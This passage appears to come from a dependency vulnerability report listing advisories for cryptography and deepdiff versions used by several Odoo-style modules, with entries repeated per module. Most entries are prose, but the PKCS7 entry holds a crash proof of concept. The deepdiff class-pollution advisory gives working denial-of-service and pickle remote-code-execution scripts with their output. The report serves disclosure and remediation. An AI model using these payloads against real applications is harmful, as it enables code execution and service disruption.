cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
PYSEC-2023-11 39.0.1 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-m959-cc7f-wv43 46.0.6 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
GHSA-537c-gmf6-5ccf 48.0.1 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2026-35 46.0.6 connector_importer_source_sftp storage_backend_sftp mail_drop_target
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
cryptography==2.6.1
ID Fixed In Affected modules Details
GHSA-r6ph-v2qm-q3c2 46.0.5 auto_backup
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
PYSEC-2021-62 3.2.1 auto_backup
Show details
python-cryptography 3.2 is vulnerable to Bleichenbacher timing attacks in the RSA decryption API, via timed processing of valid PKCS#1 v1.5 ciphertext.
GHSA-9v9h-cgj8-h64p 42.0.2 auto_backup
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
PYSEC-2023-11 39.0.1 auto_backup
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-v8gr-m533-ghj9 41.0.4 auto_backup
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-5cpq-8wj7-hf2v 41.0.0 auto_backup
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-537c-gmf6-5ccf 48.0.1 auto_backup
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-3ww4-gg4f-jr7f 42.0.0 auto_backup
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-hggm-jpg3-v476 3.2 auto_backup
Show details
RSA decryption was vulnerable to Bleichenbacher timing vulnerabilities, which would impact people using RSA decryption in online scenarios. This is fixed in cryptography 3.2.
GHSA-m959-cc7f-wv43 46.0.6 auto_backup
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
GHSA-w7pp-m8wf-vj6r 39.0.1 auto_backup
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
PYSEC-2026-35 46.0.6 auto_backup
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
PYSEC-2024-225 42.0.4 auto_backup
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
GHSA-jm77-qphf-c4w8 41.0.3 auto_backup
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-x4qr-2fvf-3mr5 39.0.1 auto_backup
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
cryptography==36.0.0
ID Fixed In Affected modules Details
GHSA-v8gr-m533-ghj9 41.0.4 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
PYSEC-2023-254 41.0.6 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
PYSEC-2026-35 46.0.6 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
GHSA-r6ph-v2qm-q3c2 46.0.5 l10n_ec_account_edi
Show details
## Vulnerability Summary The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. ## Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine
PYSEC-2023-11 39.0.1 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-5cpq-8wj7-hf2v 41.0.0 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-w7pp-m8wf-vj6r 39.0.1 l10n_ec_account_edi
Show details
Previously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers: ```pycon >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
GHSA-jfhm-5ghh-2f97 41.0.6 l10n_ec_account_edi
Show details
### Summary Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. ### PoC Here is a Python code that triggers the issue: ```python from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) ``` ### Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
GHSA-m959-cc7f-wv43 46.0.6 l10n_ec_account_edi
Show details
## Summary In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`. This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead. In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity. See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`. ## Remediation Users should upgrade to 46.0.6 or newer. ## Attribution Reporter: @1seal
GHSA-537c-gmf6-5ccf 48.0.1 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-9v9h-cgj8-h64p 42.0.2 l10n_ec_account_edi
Show details
Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
PYSEC-2024-225 42.0.4 l10n_ec_account_edi
Show details
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
GHSA-jm77-qphf-c4w8 41.0.3 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
GHSA-3ww4-gg4f-jr7f 42.0.0 l10n_ec_account_edi
Show details
A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
GHSA-x4qr-2fvf-3mr5 39.0.1 l10n_ec_account_edi
Show details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
deepdiff<8
ID Fixed In Affected modules Details
PYSEC-2026-327 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
GHSA-mw26-5g2v-hqw3 8.6.1 l10n_es_aeat_sii_match
Show details
### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for 